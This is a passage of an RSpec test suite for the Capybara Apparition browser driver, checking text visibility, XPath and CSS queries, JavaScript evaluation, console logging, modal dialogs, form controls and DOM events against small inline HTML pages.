# let(:driver) do
# driver_for_app do
# get '/' do
# headers 'Content-Type' => 'application/octet-stream'
# "Hello\xFF\xFF\xFF\xFFWorld"
# end
# end
# end
#
# before { visit('/') }
#
# it 'should return the binary content' do
# src = driver.html.force_encoding('binary')
# expect(src).to eq "Hello\xFF\xFF\xFF\xFFWorld".force_encoding('binary')
# end
# end
context 'hello app' do
let(:driver) do
driver_for_html(<<-HTML)
<html>
<head>
<title>Title</title>
<style type="text/css">
#display_none { display: none }
#visibility_hidden { visibility: hidden }
</style>
</head>
<body>
<div class='normalize'>Spaces not normalized </div>
<div id="display_none">
<div id="invisible">Can't see me</div>
</div>
<div id="visibility_hidden">
<div id="invisible_with_visibility">Can't see me too</div>
</div>
<div id="hidden-text">
Some of this text is <em style="display:none">hidden!</em>
</div>
<div id="hidden-ancestor" style="display: none">
<div>Hello</div>
</div>
<input type="text" disabled="disabled"/>
<input id="checktest" type="checkbox" checked="checked"/>
<script type="text/javascript">
document.write("<p id='greeting'>he" + "llo</p>");
</script>
</body>
</html>
HTML
end
before { visit('/') }
it "doesn't return text if the ancestor is hidden" do
visit('/')
expect(driver.find_css('#hidden-ancestor div').first.text).to eq ''
end
it 'handles anchor tags' do
visit('#test')
expect(driver.find_xpath("//*[contains(., 'hello')]")).not_to be_empty
visit('#test')
expect(driver.find_xpath("//*[contains(., 'hello')]")).not_to be_empty
end
it 'finds content after loading a URL' do
expect(driver.find_xpath("//*[contains(., 'hello')]")).not_to be_empty
end
it 'has an empty page after reseting' do
driver.reset!
expect(driver.find_xpath("//*[contains(., 'hello')]")).to be_empty
end
it 'has a blank location after reseting' do
driver.reset!
expect(driver.current_url).to eq 'about:blank'
end
it 'raises an error for an invalid xpath query' do
expect { driver.find_xpath('totally invalid salad') }
.to raise_error(Capybara::Apparition::InvalidSelector, /xpath/i)
end
it 'raises an error for an invalid xpath query within an element' do
expect { driver.find_xpath('//body').first.find_xpath('totally invalid salad') }
.to raise_error(Capybara::Apparition::InvalidSelector, /xpath/i)
end
it "returns an attribute's value" do
expect(driver.find_xpath('//p').first['id']).to eq 'greeting'
end
it 'parses xpath with quotes' do
expect(driver.find_xpath('//*[contains(., "hello")]')).not_to be_empty
end
it "returns a node's visible text" do
expect(driver.find_xpath("//*[@id='hidden-text']").first.visible_text).to eq 'Some of this text is'
end
it "normalizes a node's text" do
expect(driver.find_xpath("//div[contains(@class, 'normalize')]").first.visible_text).to eq 'Spaces not normalized '
end
it "returns all of a node's text" do
expect(driver.find_xpath("//*[@id='hidden-text']").first.all_text).to eq 'Some of this text is hidden!'
end
it 'returns the current URL' do
visit '/hello/world?success=true'
expect(driver.current_url).to eq driver_url(driver, '/hello/world?success=true')
end
it 'returns the current URL when changed by pushState' do
driver.execute_script("window.history.pushState({}, '', '/pushed')")
expect(driver.current_url).to eq driver_url(driver, '/pushed')
end
it 'returns the current URL when changed by replaceState' do
driver.execute_script("window.history.replaceState({}, '', '/replaced')")
expect(driver.current_url).to eq driver_url(driver, '/replaced')
end
it 'does not double-encode URLs' do
visit('/hello/world?success=%25true')
expect(driver.current_url).to match(/success=\%25true/)
end
it 'returns the current URL with encoded characters' do
visit('/hello/world?success[value]=true')
current_url = Rack::Utils.unescape(driver.current_url)
expect(current_url).to include('success[value]=true')
end
it 'visits a page with an anchor' do
visit('/hello#display_none')
expect(driver.current_url).to match(/hello#display_none/)
end
it 'evaluates Javascript and returns a string' do
result = driver.evaluate_script(%<document.getElementById('greeting').innerText>)
expect(result).to eq 'hello'
end
it 'evaluates Javascript and returns an array' do
result = driver.evaluate_script(%(["hello", "world"]))
expect(result).to eq %w[hello world]
end
it 'evaluates Javascript and returns an int' do
result = driver.evaluate_script(%(123))
expect(result).to eq 123
end
it 'evaluates Javascript and returns a float' do
result = driver.evaluate_script(%(1.5))
expect(result).to eq 1.5
end
it 'evaluates Javascript and returns an element' do
result = driver.evaluate_script(%<document.getElementById('greeting')>)
expect(result).to eq driver.find_css('#greeting').first
end
it 'evaluates Javascript and returns a structure containing elements' do
result = driver.evaluate_script(%<({ 'a': document.getElementById('greeting'), 'b': { 'c': document.querySelectorAll('#greeting, #checktest') } })>)
expect(result).to eq(
'a' => driver.find_css('#greeting').first,
'b' => {
'c' => driver.find_css('#greeting, #checktest')
}
)
end
it 'evaluates Javascript and returns null' do
result = driver.evaluate_script(%<(function () {})()>)
expect(result).to eq nil
end
it 'evaluates Infinity and returns null' do
result = driver.evaluate_script(%(Infinity))
expect(result).to eq nil
end
it 'evaluates Javascript and returns a date' do
result = driver.evaluate_script(%<new Date("2016-04-01T00:00:00Z")>)
expect(result.to_s).to eq '2016-04-01T00:00:00+00:00'
end
it 'evaluates Javascript and returns an object' do
result = driver.evaluate_script(%<({ 'one' : 1 })>)
expect(result).to eq 'one' => 1
end
it 'evaluate Javascript and returns an object when the original was readonly' do
result = driver.evaluate_script(%<window.getComputedStyle(document.getElementById('greeting'))>)
expect(result).to be_a Hash
expect(result['zIndex']).to eq 'auto'
end
it 'evaluates Javascript and returns true' do
result = driver.evaluate_script(%(true))
expect(result).to be true
end
it 'evaluates Javascript and returns false' do
result = driver.evaluate_script(%(false))
expect(result).to be false
end
it 'evaluates Javascript and returns an escaped string' do
result = driver.evaluate_script(%('"'))
expect(result).to eq '"'
end
it 'evaluates Javascript with multiple lines' do
result = driver.evaluate_script("[1,\n2]")
expect(result).to eq [1, 2]
end
it "evaluates asynchronous JS which isn't" do
result = driver.evaluate_async_script('arguments[0](4)')
expect(result).to eq 4
end
it 'evaluates asynchronous JS' do
result = driver.evaluate_async_script("setTimeout(function(callback){ callback('jaguar') }, 100, arguments[0])")
expect(result).to eq 'jaguar'
end
it 'evaluates asynchronous JS and returns an object' do
result = driver.evaluate_async_script(%<setTimeout(function(callback){ callback({ 'one' : 1 }) }, 100, arguments[0])>)
expect(result).to eq 'one' => 1
end
it 'evaluates asynchronous JS and returns an object when the original was readonly' do
result = driver.evaluate_async_script(%<setTimeout(function(callback){ callback(window.getComputedStyle(document.getElementById('greeting'))) }, 100, arguments[0])>)
expect(result).to be_a Hash
expect(result['zIndex']).to eq 'auto'
end
it 'executes Javascript' do
driver.execute_script(%<document.getElementById('greeting').innerHTML = 'yo'>)
expect(driver.find_xpath("//p[contains(., 'yo')]")).not_to be_empty
end
it 'raises an error for failing Javascript' do
expect { driver.execute_script(%(invalid salad)) }
.to raise_error(Capybara::Apparition::JavascriptError)
end
it 'passes arguments to executed Javascript' do
driver.execute_script(%<document.getElementById('greeting').innerHTML = arguments[0]>, 'My argument')
expect(driver.find_xpath("//p[contains(., 'My argument')]")).not_to be_empty
end
it 'passes multiple arguments to executed Javascript' do
driver.execute_script(
%<document.getElementById('greeting').innerHTML = arguments[0] + arguments[1] + arguments[2].color>,
'random', 4, color: 'red'
)
expect(driver.find_xpath("//p[contains(., 'random4red')]")).not_to be_empty
end
it 'passes page elements to executed Javascript' do
greeting = driver.find_xpath("//p[@id='greeting']").first
driver.execute_script(%(arguments[0].innerHTML = arguments[1]), greeting, 'new content')
expect(driver.find_xpath("//p[@id='greeting'][contains(., 'new content')]")).not_to be_empty
end
it 'passes elements as arguments to asynchronous script' do
greeting = driver.find_xpath("//p[@id='greeting']").first
result = driver.evaluate_async_script(%<arguments[2]([arguments[1], arguments[0]])>, greeting, 'a string')
expect(result).to eq ['a string', greeting]
end
it 'passes arguments to evaaluated Javascript' do
expect(driver.evaluate_script(%(arguments[0]), 3)).to eq 3
end
it 'passes multiple arguments to evaluated Javascript' do
expect(driver.evaluate_script(%(arguments[0] + arguments[1] + arguments[2].num), 3, 4, num: 5)).to eq 12
end
it 'passes page elements to evaluated Javascript' do
greeting = driver.find_xpath("//p[@id='greeting']").first
expect(driver.evaluate_script(%((()=>{ arguments[1].innerHTML = arguments[0]; return arguments[2] })()), 'newer content', greeting, 7)).to eq 7
expect(driver.find_xpath("//p[@id='greeting'][contains(., 'newer content')]")).not_to be_empty
end
it "doesn't raise an error for Javascript that doesn't return anything" do
expect { driver.execute_script(%<(function () { "returns nothing" })()>) }.not_to raise_error
end
it "returns a node's tag name" do
expect(driver.find_xpath('//p').first.tag_name).to eq 'p'
end
it 'reads disabled property' do
expect(driver.find_xpath('//input').first).to be_disabled
end
it 'reads checked property' do
expect(driver.find_xpath("//input[@id='checktest']").first).to be_checked
end
it 'finds visible elements' do
expect(driver.find_xpath('//p').first).to be_visible
expect(driver.find_xpath("//*[@id='invisible']").first).not_to be_visible
expect(driver.find_xpath("//*[@id='invisible_with_visibility']").first).not_to be_visible
end
it 'returns the document title' do
expect(driver.title).to eq 'Title'
end
it 'finds elements by CSS' do
expect(driver.find_css('p').first.visible_text).to eq 'hello'
end
end
context 'svg app' do
let(:driver) do
driver_for_html(<<-HTML)
<html>
<body>
<svg xmlns="http://www.w3.org/2000/svg" version="1.1" height="100">
<text x="10" y="25" fill="navy" font-size="15" id="navy_text">In the navy!</text>
</svg>
</body>
</html>
HTML
end
before { visit('/') }
it 'should handle text for svg elements' do
expect(driver.find_xpath("//*[@id='navy_text']").first.visible_text).to eq 'In the navy!'
end
end
context 'hidden text app' do
let(:driver) do
driver_for_html(<<-HTML)
<html>
<body>
<h1 style="display: none">Hello</h1>
</body>
</html>
HTML
end
before { visit('/') }
it 'has no visible text' do
expect(driver.find_xpath('/html').first.text).to be_empty
end
end
context 'console messages app' do
let(:driver) do
driver_for_html(<<-HTML, js_errors: false)
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
</head>
<body>
<script type="text/javascript">
console.log("hello");
console.log("hello again");
console.log("hello\\nnewline");
console.log("𝄞");
oops
</script>
</body>
</html>
HTML
end
before { visit('/') }
it 'collects messages logged to the console' do
url = driver_url(driver, '/')
message = driver.console_messages.first
expect(message[:source]).to eq url
expect(message[:message]).to eq 'hello'
expect(message[:line_number]).to(satisfy { |num| [6, 7].include? num })
expect(driver.console_messages.length).to eq 5
end
it 'logs errors to the console' do
expect(driver.error_messages.length).to eq 1
end
it 'supports multi-line console messages' do
message = driver.console_messages[2]
expect(message[:message]).to eq "hello\nnewline"
end
it 'empties the array when reset' do
driver.reset!
expect(driver.console_messages).to be_empty
end
it 'supports console messages from an unknown source' do
driver.execute_script("console.log('hello')")
expect(driver.console_messages.last[:message]).to eq 'hello'
expect(driver.console_messages.last[:source]).to be_nil
end
it 'escapes unicode console messages' do
expect(driver.console_messages[3][:message]).to eq '𝄞'
end
end
context 'javascript dialog interaction' do
before do
stub_const('Capybara::ModalNotFound', Class.new(StandardError))
end
context 'on an alert app' do
let(:driver) do
driver_for_app do
get '/' do
<<-HTML
<html>
<head>
</head>
<body>
<script type="text/javascript">
alert("Alert Text\\nGoes Here");
</script>
</body>
</html>
HTML
end
get '/async' do
<<-HTML
<html>
<head>
</head>
<body>
<script type="text/javascript">
function testAlert() {
setTimeout(function() { alert("Alert Text\\nGoes Here"); },
#{params[:sleep] || 100});
}
</script>
<input type="button" onclick="testAlert()" name="test"/>
</body>
</html>
HTML
end
get '/ajax' do
<<-HTML
<html>
<head>
</head>
<body>
<script type="text/javascript">
function testAlert() {
var xhr = new XMLHttpRequest();
xhr.open('GET', '/slow', true);
xhr.setRequestHeader('Content-Type', 'text/plain');
xhr.onreadystatechange = function () {
if (xhr.readyState == 4) {
alert('From ajax');
}
};
xhr.send();
}
</script>
<input type="button" onclick="testAlert()" name="test"/>
</body>
</html>
HTML
end
get '/double' do
<<-HTML
<html>
<head>
</head>
<body>
<script type="text/javascript">
alert('First alert');
</script>
<input type="button" onclick="alert('Second alert')" name="test"/>
</body>
</html>
HTML
end
get '/slow' do
sleep 0.5
''
end
end
end
it 'accepts any alert modal if no match is provided' do
alert_message = driver.accept_modal(:alert) do
visit('/')
end
expect(alert_message).to eq "Alert Text\nGoes Here"
end
it 'accepts an alert modal if it matches' do
alert_message = driver.accept_modal(:alert, text: "Alert Text\nGoes Here") do
visit('/')
end
expect(alert_message).to eq "Alert Text\nGoes Here"
end
it 'raises an error when accepting an alert modal that does not match' do
expect do
driver.accept_modal(:alert, text: 'No?') do
visit('/')
end
end.to raise_error Capybara::ModalNotFound, /Unable to find modal dialog with No?/
end
it 'finds two alert windows in a row' do
driver.accept_modal(:alert, text: 'First alert') do
visit('/double')
end
expect do
driver.accept_modal(:alert, text: 'Boom') do
driver.find_xpath('//input').first.click
end
end.to raise_error Capybara::ModalNotFound, /Unable to find modal dialog with Boom/
end
it 'waits to accept an async alert modal' do
visit('/async')
alert_message = driver.accept_modal(:alert, wait: 1) do
driver.find_xpath('//input').first.click
end
expect(alert_message).to eq "Alert Text\nGoes Here"
end
it 'times out waiting for an async alert modal' do
visit('/async?sleep=1000')
expect do
driver.accept_modal(:alert, wait: 0.1) do
driver.find_xpath('//input').first.click
end
end.to raise_error Capybara::ModalNotFound, /Timed out waiting for modal dialog/
end
it 'raises an error when an unexpected modal is displayed' do
expect do
driver.accept_modal(:confirm) do
visit('/')
end
end.to raise_error Capybara::ModalNotFound, /Unable to find modal dialog/
end
end
context 'on a confirm app' do
let(:driver) do
driver_for_html(<<-HTML)
<html>
<head>
</head>
<body>
<script type="text/javascript">
function test_dialog() {
if(confirm("Yes?"))
console.log("hello");
else
console.log("goodbye");
}
function test_complex_dialog() {
if(confirm("Yes?"))
if(confirm("Really?"))
console.log("hello");
else
console.log("goodbye");
}
function test_async_dialog() {
setTimeout(function() {
if(confirm("Yes?"))
console.log("hello");
else
console.log("goodbye");
}, 100);
}
</script>
<input type="button" onclick="test_dialog()" name="test"/>
<input type="button" onclick="test_complex_dialog()" name="test_complex"/>
<input type="button" onclick="test_async_dialog()" name="test_async"/>
</body>
</html>
HTML
end
before { visit('/') }
it 'accepts any confirm modal if no match is provided' do
driver.accept_modal(:confirm) do
driver.find_xpath('//input').first.click
end
expect(driver.console_messages.first[:message]).to eq 'hello'
end
it 'dismisses a confirm modal that does not match' do
pending 'why?'
begin
driver.accept_modal(:confirm, text: 'No?') do
driver.find_xpath('//input').first.click
expect(driver.console_messages.first[:message]).to eq 'goodbye'
end
rescue Capybara::ModalNotFound
end
end
it 'raises an error when accepting a confirm modal that does not match' do
expect do
driver.accept_modal(:confirm, text: 'No?') do
driver.find_xpath('//input').first.click
end
end.to raise_error Capybara::ModalNotFound, /Unable to find modal dialog with No?/
end
it 'dismisses any confirm modal if no match is provided' do
driver.dismiss_modal(:confirm) do
driver.find_xpath('//input').first.click
end
expect(driver.console_messages.first[:message]).to eq 'goodbye'
end
it 'raises an error when dismissing a confirm modal that does not match' do
expect do
driver.dismiss_modal(:confirm, text: 'No?') do
driver.find_xpath('//input').first.click
end
end.to raise_error Capybara::ModalNotFound, /Unable to find modal dialog with No?/
end
it 'waits to accept an async confirm modal' do
Capybara.default_max_wait_time = 1
visit('/async')
confirm_message = driver.accept_modal(:confirm) do
driver.find_css('input[name=test_async]').first.click
end
expect(confirm_message).to eq 'Yes?'
end
it 'allows the nesting of dismiss and accept' do
driver.dismiss_modal(:confirm) do
driver.accept_modal(:confirm) do
driver.find_css('input[name=test_complex]').first.click
end
end
expect(driver.console_messages.first[:message]).to eq 'goodbye'
end
it 'raises an error when an unexpected modal is displayed' do
expect do
driver.accept_modal(:prompt) do
driver.find_xpath('//input').first.click
end
end.to raise_error Capybara::ModalNotFound, /Unable to find modal dialog/
end
it 'dismisses a confirm modal when prompt is expected' do
pending 'Why?'
begin
driver.accept_modal(:prompt) do
driver.find_xpath('//input').first.click
expect(driver.console_messages.first[:message]).to eq 'goodbye'
end
rescue Capybara::ModalNotFound
end
end
it 'should default to accept the confirm' do
driver.find_xpath('//input').first.click
expect(driver.console_messages.first[:message]).to eq 'hello'
end
it 'supports multi-line confirmation messages' do
msg = driver.accept_modal(:confirm) do
driver.execute_script("confirm('Hello\\nnewline')")
end
expect(msg).to eq "Hello\nnewline"
end
end
context 'on a prompt app' do
let(:driver) do
driver_for_html(<<-HTML)
<html>
<head>
</head>
<body>
<script type="text/javascript">
function test_dialog() {
var response = prompt("Your name?", "John Smith");
if(response != null)
console.log("hello " + response);
else
console.log("goodbye");
}
function test_complex_dialog() {
var response = prompt("Your name?", "John Smith");
if(response != null)
if(prompt("Your age?"))
console.log("hello " + response);
else
console.log("goodbye");
}
function test_async_dialog() {
setTimeout(function() {
var response = prompt("Your name?", "John Smith");
}, 100);
}
</script>
<input type="button" onclick="test_dialog()" name="test"/>
<input type="button" onclick="test_complex_dialog()" name="test_complex"/>
<input type="button" onclick="test_async_dialog()" name="test_async"/>
</body>
</html>
HTML
end
before { visit('/') }
it 'accepts any prompt modal if no match is provided' do
driver.accept_modal(:prompt) do
driver.find_xpath('//input').first.click
end
expect(driver.console_messages.first[:message]).to eq 'hello John Smith'
end
it 'accepts any prompt modal with the provided response' do
driver.accept_modal(:prompt, with: 'Capy') do
driver.find_xpath('//input').first.click
end
expect(driver.console_messages.first[:message]).to eq 'hello Capy'
end
it 'raises an error when accepting a prompt modal that does not match' do
expect do
driver.accept_modal(:prompt, text: 'Your age?') do
driver.find_xpath('//input').first.click
end
end.to raise_error Capybara::ModalNotFound, /Unable to find modal dialog with Your age\?/
end
it 'dismisses any prompt modal if no match is provided' do
driver.dismiss_modal(:prompt) do
driver.find_xpath('//input').first.click
end
expect(driver.console_messages.first[:message]).to eq 'goodbye'
end
it 'dismisses a prompt modal that does not match' do
pending 'is this desirable?'
begin
driver.accept_modal(:prompt, text: 'Your age?') do
driver.find_xpath('//input').first.click
expect(driver.console_messages.first[:message]).to eq 'goodbye'
end
rescue Capybara::ModalNotFound
end
end
it 'raises an error when dismissing a prompt modal that does not match' do
expect do
driver.dismiss_modal(:prompt, text: 'Your age?') do
driver.find_xpath('//input').first.click
end
end.to raise_error Capybara::ModalNotFound, /Unable to find modal dialog with Your age\?/
end
it 'waits to accept an async prompt modal' do
Capybara.default_max_wait_time = 1
visit('/async')
prompt_message = driver.accept_modal(:prompt) do
driver.find_css('input[name=test_async]').first.click
end
expect(prompt_message).to eq 'Your name?'
end
it 'allows the nesting of dismiss and accept' do
driver.dismiss_modal(:prompt) do
driver.accept_modal(:prompt) do
driver.find_css('input[name=test_complex]').first.click
end
end
expect(driver.console_messages.first[:message]).to eq 'goodbye'
end
it 'raises an error when an unexpected modal is displayed' do
expect do
driver.accept_modal(:confirm) do
driver.find_xpath('//input').first.click
end
end.to raise_error Capybara::ModalNotFound, /Unable to find modal dialog/
end
it 'dismisses a prompt modal when confirm is expected' do
pending 'Why?'
begin
driver.accept_modal(:confirm) do
driver.find_xpath('//input').first.click
expect(driver.console_messages.first[:message]).to eq 'goodbye'
end
rescue Capybara::ModalNotFound
end
end
it 'should default to dismiss the prompt' do
pending 'Is this desirable?'
driver.find_xpath('//input').first.click
expect(driver.console_messages.first[:message]).to eq 'goodbye'
end
it 'supports multi-line prompt messages' do
msg = driver.accept_modal(:prompt) do
driver.execute_script("prompt('Hello\\nnewline')")
end
expect(msg).to eq "Hello\nnewline"
end
end
end
context 'form app' do
let(:driver) do
driver_for_html(<<-HTML)
<html><body>
<form action="/" method="GET">
<input type="text" name="foo" value="bar"/>
<input type="text" name="maxlength_foo" value="bar" maxlength="10"/>
<input type="text" id="disabled_input" disabled="disabled"/>
<input type="text" id="readonly_input" readonly="readonly" value="readonly"/>
<input type="checkbox" name="checkedbox" value="1" checked="checked"/>
<input type="checkbox" name="uncheckedbox" value="2"/>
<select name="animal">
<option id="select-option-monkey">Monkey</option>
<option id="select-option-capybara" selected="selected">Capybara</option>
</select>
<select name="disabled" disabled="disabled">
<option id="select-option-disabled">Disabled</option>
</select>
<select name="toppings" multiple="multiple">
<optgroup label="Mediocre Toppings">
<option selected="selected" id="topping-apple">Apple</option>
<option selected="selected" id="topping-banana">Banana</option>
</optgroup>
<optgroup label="Best Toppings">
<option selected="selected" id="topping-cherry">Cherry</option>
</optgroup>
</select>
<select name="guitars" multiple>
<option selected="selected" id="fender">Fender</option>
<option selected="selected" id="gibson">Gibson</option>
</select>
<textarea id="only-textarea">what a wonderful area for text</textarea>
<input type="radio" id="only-radio" value="1"/>
<button type="reset">Reset Form</button>
</form>
<div id="key_events"></div>
<script>
var form = document.getElementsByTagName('form')[0];
var output = document.getElementById('key_events');
form.addEventListener('keydown', function(e){
output.innerHTML = output.innerHTML + " d:" + (e.key || e.which);
});
form.addEventListener('keyup', function(e){
output.innerHTML = output.innerHTML + " u:" + (e.key || e.which);
});
</script>
</body></html>
HTML
end
let(:disabled_input) { driver.find_xpath("//input[@id='disabled_input']").first }
let(:enabled_input) { driver.find_xpath("//input[@name='foo']").first }
let(:unchecked_box) { driver.find_xpath("//input[@name='uncheckedbox']").first }
let(:checked_box) { driver.find_xpath("//input[@name='checkedbox']").first }
let(:reset_button) { driver.find_xpath("//button[@type='reset']").first }
let(:fender_option) { driver.find_xpath("//option[@id='fender']").first }
let(:guitars_select) { driver.find_xpath("//select[@name='guitars']").first }
let(:toppings_select) { driver.find_xpath("//select[@name='toppings']").first }
let(:cherry_option) { driver.find_xpath("//option[@id='topping-cherry']").first }
let(:banana_option) { driver.find_xpath("//option[@id='topping-banana']").first }
let(:apple_option) { driver.find_xpath("//option[@id='topping-apple']").first }
let(:animal_select) { driver.find_xpath("//select[@name='animal']").first }
let(:capybara_option) { driver.find_xpath("//option[@id='select-option-capybara']").first }
let(:monkey_option) { driver.find_xpath("//option[@id='select-option-monkey']").first }
before { visit('/') }
it "returns a textarea's value" do
expect(driver.find_xpath('//textarea').first.value).to eq 'what a wonderful area for text'
end
it "returns a text input's value" do
expect(driver.find_xpath('//input').first.value).to eq 'bar'
end
it "returns a select's value" do
expect(driver.find_xpath('//select').first.value).to eq 'Capybara'
end
it "sets an input's value" do
input = driver.find_xpath('//input').first
input.set('newvalue')
expect(input.value).to eq 'newvalue'
end
it "sets an input's value greater than the max length" do
input = driver.find_xpath("//input[@name='maxlength_foo']").first
input.set('allegories (poems)')
expect(input.value).to eq 'allegories'
end
it "sets an input's value equal to the max length" do
input = driver.find_xpath("//input[@name='maxlength_foo']").first
input.set('allegories')
expect(input.value).to eq 'allegories'
end
it "sets an input's value less than the max length" do
input = driver.find_xpath("//input[@name='maxlength_foo']").first
input.set('poems')
expect(input.value).to eq 'poems'
end
it "sets an input's nil value" do
input = driver.find_xpath('//input').first
input.set(nil)
expect(input.value).to eq ''
end
it "sets a select's value" do
select = driver.find_xpath('//select').first
select.set('Monkey')
expect(select.value).to eq 'Monkey'
end
it "sets a textarea's value" do
textarea = driver.find_xpath('//textarea').first
textarea.set('newvalue')
expect(textarea.value).to eq 'newvalue'
end
context '#send_keys' do
it 'should support :backspace' do
input = driver.find_xpath('//input').first
input.set('dog')
expect(input.value).to eq 'dog'
input.send_keys(:backspace)
expect(input.value).to eq 'do'
end
it 'should support :modifiers' do
input = driver.find_xpath('//input').first
input.set('') # clear the input
input.send_keys('abc', %i[shift left], 'def')
expect(input.value).to eq 'abdef'
input.set('')
input.send_keys([:shift, 'upper'])
expect(input.value).to eq 'UPPER'
end
it 'should support :numpad[0-9]' do
input = driver.find_xpath('//input').first
input.set('') # clear the input first
input.send_keys(:numpad0, :numpad1, :numpad2, :numpad3, :numpad4,
:numpad5, :numpad6, :numpad7, :numpad8, :numpad9)
expect(input.value).to eq '0123456789'
end
it 'releases modifiers correctly' do
input = driver.find_xpath('//input').first
input.send_keys('a', %i[shift left], 'a')
event_text = driver.find_css('#key_events').first.text
# expect(event_text).to eq 'd:65 u:65 d:16 d:37 u:37 u:16 d:65 u:65'
expect(event_text).to eq 'd:a u:a d:Shift d:ArrowLeft u:ArrowLeft u:Shift d:a u:a'
end
it 'should support :return as a deprecated alias of :enter' do
input = driver.find_xpath('//input').first
input.send_keys(:return)
event_text = driver.find_css('#key_events').first.text
expect(event_text).to eq 'd:Enter u:Enter'
end
end
context "a select element's selection has been changed" do
before do
expect(animal_select.value).to eq 'Capybara' # rubocop:disable RSpec/ExpectInHook
monkey_option.select_option
end
it 'returns the new selection' do
expect(animal_select.value).to eq 'Monkey'
end
it 'does not modify the selected attribute of a new selection' do
expect(driver.evaluate_script("arguments[0].getAttribute('selected')", monkey_option)).to be_nil
end
it 'returns the old value when a reset button is clicked' do
reset_button.click
expect(animal_select.value).to eq 'Capybara'
end
end
context "a multi-select element's option has been unselected" do
before do
expect(toppings_select.value).to include('Apple', 'Banana', 'Cherry') # rubocop:disable RSpec/ExpectInHook
apple_option.unselect_option
end
it 'does not return the deselected option' do
expect(toppings_select.value).not_to include('Apple')
end
it 'returns the deselected option when a reset button is clicked' do
reset_button.click
expect(toppings_select.value).to include('Apple', 'Banana', 'Cherry')
end
end
context "a multi-select (with empty multiple attribute) element's option has been unselected" do
before do
expect(guitars_select.value).to include('Fender', 'Gibson') # rubocop:disable RSpec/ExpectInHook
fender_option.unselect_option
end
it 'does not return the deselected option' do
expect(guitars_select.value).not_to include('Fender')
end
end
it 'reselects an option in a multi-select' do
apple_option.unselect_option
banana_option.unselect_option
cherry_option.unselect_option
expect(toppings_select.value).to eq []
apple_option.select_option
banana_option.select_option
cherry_option.select_option
toppings_select.value
expect(toppings_select.value).to include('Apple', 'Banana', 'Cherry')
end
it 'knows a checked box is checked' do
expect(checked_box['checked']).to be true
end
it 'knows a checked box is checked using checked?' do
expect(checked_box).to be_checked
end
it 'knows an unchecked box is unchecked' do
expect(unchecked_box['checked']).not_to be_truthy
end
it 'knows an unchecked box is unchecked using checked?' do
expect(unchecked_box).not_to be_checked
end
it 'checks an unchecked box' do
unchecked_box.set(true)
expect(unchecked_box).to be_checked
end
it 'unchecks a checked box' do
checked_box.set(false)
expect(checked_box).not_to be_checked
end
it 'leaves a checked box checked' do
checked_box.set(true)
expect(checked_box).to be_checked
end
it 'leaves an unchecked box unchecked' do
unchecked_box.set(false)
expect(unchecked_box).not_to be_checked
end
it 'knows a disabled input is disabled' do
expect(disabled_input['disabled']).to be true
end
it 'knows a not disabled input is not disabled' do
expect(enabled_input['disabled']).not_to be_truthy
end
it 'does not modify a readonly input' do
readonly_input = driver.find_css('#readonly_input').first
readonly_input.set('enabled')
expect(readonly_input.value).to eq 'readonly'
end
it 'should see enabled options in disabled select as disabled' do
expect(driver.find_css('#select-option-disabled').first).to be_disabled
end
end
context 'dom events' do
let(:driver) do
driver_for_html(<<-HTML)
<html><body>
<a href='#' class='watch'>Link</a>
<ul id="events"></ul>
<script type="text/javascript">
var events = document.getElementById("events");
var recordEvent = function (event) {
var element = document.createElement("li");
element.innerHTML = event.type;
events.appendChild(element);
};
var elements = document.getElementsByClassName("watch");
for (var i = 0; i < elements.length; i++) {
var element = elements[i];
element.addEventListener("mousedown", recordEvent);
element.addEventListener("mouseup", recordEvent);
element.addEventListener("click", recordEvent);
element.addEventListener("dblclick", recordEvent);
element.addEventListener("contextmenu", recordEvent);
}
</script>
</body></html>
HTML
end
let(:watch) { driver.find_xpath('//a').first }
let(:fired_events) { driver.find_xpath('//li').map(&:visible_text) }
before { visit('/') }
it 'triggers mouse events' do
watch.click
expect(fired_events).to eq %w[mousedown mouseup click]
end
it 'triggers double click' do
# check event order at http://www.quirksmode.org/dom/events/click.html
watch.double_click
expect(fired_events).to eq %w[mousedown mouseup click mousedown mouseup click dblclick]
end
it 'triggers right click' do
watch.right_click
expect(fired_events).to eq %w[mousedown contextmenu mouseup]
end
end
context 'form events app' do
let(:driver) do
driver_for_html(<<-HTML)
<html><body>
<form action="/" method="GET">
<input class="watch" type="email"/>
<input class="watch" type="number"/>
<input class="watch" type="password"/>
<input class="watch" type="search"/>
<input class="watch" type="tel"/>
<input class="watch" type="text" value="original"/>
<input class="watch" type="url"/>
<textarea class="watch"></textarea>
<input class="watch" type="checkbox"/>
<input class="watch" type="radio"/>
<select id="single" class="watch">
<option>Single Option 1</option>
<option>Single Option 2</option>
</select>
<select id="multiple" class="watch" multiple="multiple">
<option class="watch" selected="selected">Multiple Option 1</option>
<option class="watch" selected="selected">Multiple Option 2</option>
<option class="watch">Multiple Option 3</option>
<optgroup>
<option class="watch">Multiple Option 4</option>
</optgroup>
</select>
</form>
<ul id="events"></ul>
<script type="text/javascript">
var events = document.getElementById("events");
var recordEvent = function (event) {
var element = document.createElement("li");
var event_description = "";
if (event.target.id)
event_description += event.target.id + '.';
event_description += event.type;
element.innerHTML = event_description;
events.appendChild(element);
};
var elements = document.getElementsByClassName("watch");
var watched_events = ["focus", "keydown", "keypress", "keyup", "input", "change",
"blur", "mousedown", "mouseup", "click"];
for (var i = 0; i < elements.length; i++) {
for (var j = 0; j < watched_events.length; j++) {
elements[i].addEventListener(watched_events[j], recordEvent);
}
}
</script>
</body></html>
HTML
end
let(:newtext) { '12345' }
let(:keyevents) do
# (%w[focus] +
(%w[mousedown focus mouseup click] +
newtext.length.times.collect { %w[keydown keypress input keyup] }
).flatten
end
let(:textevents) { keyevents + %w[change blur] }
def logged_events
driver.find_xpath('//li').map(&:visible_text)
end
before { visit('/') }
%w[email number password search tel text url].each do |field_type|
it "triggers text input events on inputs of type #{field_type}" do
driver.find_xpath("//input[@type='#{field_type}']").first.set(newtext)
driver.find_xpath('//body').first.click
expect(logged_events).to eq textevents
end
end
it 'triggers events for cleared inputs' do
driver.find_xpath("//input[@type='text']").first.set('')
driver.find_xpath('//body').first.click
expect(logged_events).to include('change')
end
it 'triggers textarea input events' do
driver.find_xpath('//textarea').first.set(newtext)
expect(logged_events).to eq keyevents
end
it 'triggers radio input events' do
driver.find_xpath("//input[@type='radio']").first.set(true)
# expect(logged_events).to eq %w[mousedown focus mouseup change click]
expect(logged_events).to eq %w[mousedown focus mouseup click input change]
end
it 'triggers checkbox events' do
driver.find_xpath("//input[@type='checkbox']").first.set(true)
expect(logged_events).to eq %w[mousedown focus mouseup click input change]
end
it 'triggers select events' do
pending "Need to figure out why these events don't match user"
